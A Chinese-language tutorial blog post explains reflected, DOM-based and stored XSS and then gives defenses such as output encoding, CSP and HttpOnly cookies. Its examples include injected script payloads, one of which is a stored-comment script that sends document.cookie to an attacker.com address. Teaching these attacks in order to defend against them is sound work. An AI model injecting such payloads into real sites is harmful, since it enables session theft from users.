深入解析XSS攻击:从原理到防御实战
2025-06-19 14:47:16作者:冯爽妲Honey
什么是XSS攻击?
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,这些脚本会在用户浏览器中执行,从而窃取用户凭证、会话信息、键盘输入等敏感数据。
XSS攻击的三种主要类型
1. 反射型XSS攻击
反射型XSS是最常见的攻击形式,其特点是恶意脚本作为输入发送到服务器后,服务器会"反射"这些代码并在页面中显示给用户。
攻击原理:
- 攻击者构造一个包含恶意脚本的特殊URL
- 通过钓鱼邮件、社交媒体等方式诱导用户点击
- 服务器接收请求后,未对输入进行过滤,直接将恶意代码返回给用户浏览器
- 浏览器执行恶意脚本
典型场景: 假设有一个搜索页面,搜索关键词会直接显示在结果页面上。攻击者可构造如下URL:
/search?query=<script>alert('XSS')</script>
当用户点击该链接时,恶意脚本就会被执行。
2. 基于DOM的XSS攻击
DOM型XSS攻击不经过服务器处理,直接在客户端通过修改DOM环境来执行恶意代码。
攻击原理:
- 攻击者利用URL参数或表单输入注入恶意脚本
- 前端JavaScript代码直接使用这些未经验证的数据修改DOM
- 浏览器解析执行被篡改的DOM内容
典型案例: 考虑一个语言选择功能,URL参数控制默认语言:
http://example.com?lang=English
攻击者可构造:
http://example.com?lang=<script>stealCookie()</script>
如果前端代码直接使用location.search中的参数值而不做转义,就会导致XSS漏洞。
3. 存储型XSS攻击
存储型XSS是最危险的类型,恶意脚本被永久存储在目标服务器上,影响所有访问受影响页面的用户。
攻击原理:
- 攻击者通过表单提交等方式将恶意代码存入数据库
- 当其他用户浏览包含该数据的页面时,恶意脚本被执行
- 影响范围广,持续时间长
典型场景: 论坛评论功能中,攻击者提交如下评论:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
该评论被存储后,每当其他用户查看该评论时,其会话cookie就会被发送到攻击者的服务器。
XSS攻击的危害
- 窃取用户数据:获取cookie、本地存储数据等
- 会话劫持:冒充用户执行操作
- 钓鱼攻击:伪造登录表单诱导用户输入凭证
- 键盘记录:监控用户输入
- 网站篡改:修改页面内容
防御XSS攻击的最佳实践
1. 输入验证与过滤
- 对所有用户输入进行严格验证
- 使用白名单机制,只允许特定字符集
- 过滤或转义特殊字符(<, >, &, ', "等)
2. 输出编码
- 根据输出上下文(HTML、JavaScript、CSS、URL)使用适当的编码
- 使用专门的库函数进行编码,如HTML实体编码
3. 内容安全策略(CSP)
- 通过HTTP头Content-Security-Policy限制脚本来源
- 禁止内联脚本执行
- 限制外部资源加载
4. 使用安全框架
- 现代前端框架(React、Vue等)默认提供XSS防护
- 避免直接操作DOM,使用框架提供的数据绑定机制
5. HttpOnly和Secure Cookie
- 设置Cookie的HttpOnly属性防止JavaScript访问
- 设置Secure属性确保只在HTTPS连接中传输
实际开发中的注意事项
- 避免使用innerHTML:优先使用textContent或innerText
- 谨慎使用eval():避免执行动态生成的代码
- 第三方库审查:确保使用的库没有已知安全漏洞
- 定期安全审计:使用自动化工具扫描XSS漏洞
- 教育团队成员:提高整个团队的安全意识
通过理解XSS攻击的原理和类型,并实施适当的防御措施,开发者可以显著提高Web应用的安全性,保护用户数据不受侵害。
登录后查看全文
热门项目推荐
ERNIE-4.5-VL-28B-A3B-ThinkingERNIE-4.5-VL-28B-A3B-Thinking 是 ERNIE-4.5-VL-28B-A3B 架构的重大升级,通过中期大规模视觉-语言推理数据训练,显著提升了模型的表征能力和模态对齐,实现了多模态推理能力的突破性飞跃Python00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
MiniMax-M2MiniMax-M2是MiniMaxAI开源的高效MoE模型,2300亿总参数中仅激活100亿,却在编码和智能体任务上表现卓越。它支持多文件编辑、终端操作和复杂工具链调用Python00
HunyuanVideo-1.5HunyuanVideo-1.5作为一款轻量级视频生成模型,仅需83亿参数即可提供顶级画质,大幅降低使用门槛。该模型在消费级显卡上运行流畅,让每位开发者和创作者都能轻松使用。本代码库提供生成创意视频所需的实现方案与工具集。00
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00
项目优选
收起
deepin linux kernel
C
24
7
Ascend Extension for PyTorch
Python
192
212
暂无简介
Dart
632
143
React Native鸿蒙化仓库
JavaScript
243
316
旨在打造算法先进、性能卓越、高效敏捷、安全可靠的密码套件,通过轻量级、可剪裁的软件技术架构满足各行业不同场景的多样化要求,让密码技术应用更简单,同时探索后量子等先进算法创新实践,构建密码前沿技术底座!
C
1.03 K
481
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
649
271
TorchAir 支持用户基于PyTorch框架和torch_npu插件在昇腾NPU上使用图模式进行推理。
Python
297
111
仓颉编译器源码及 cjdb 调试工具。
C++
128
857
openGauss kernel ~ openGauss is an open source relational database management system
C++
158
212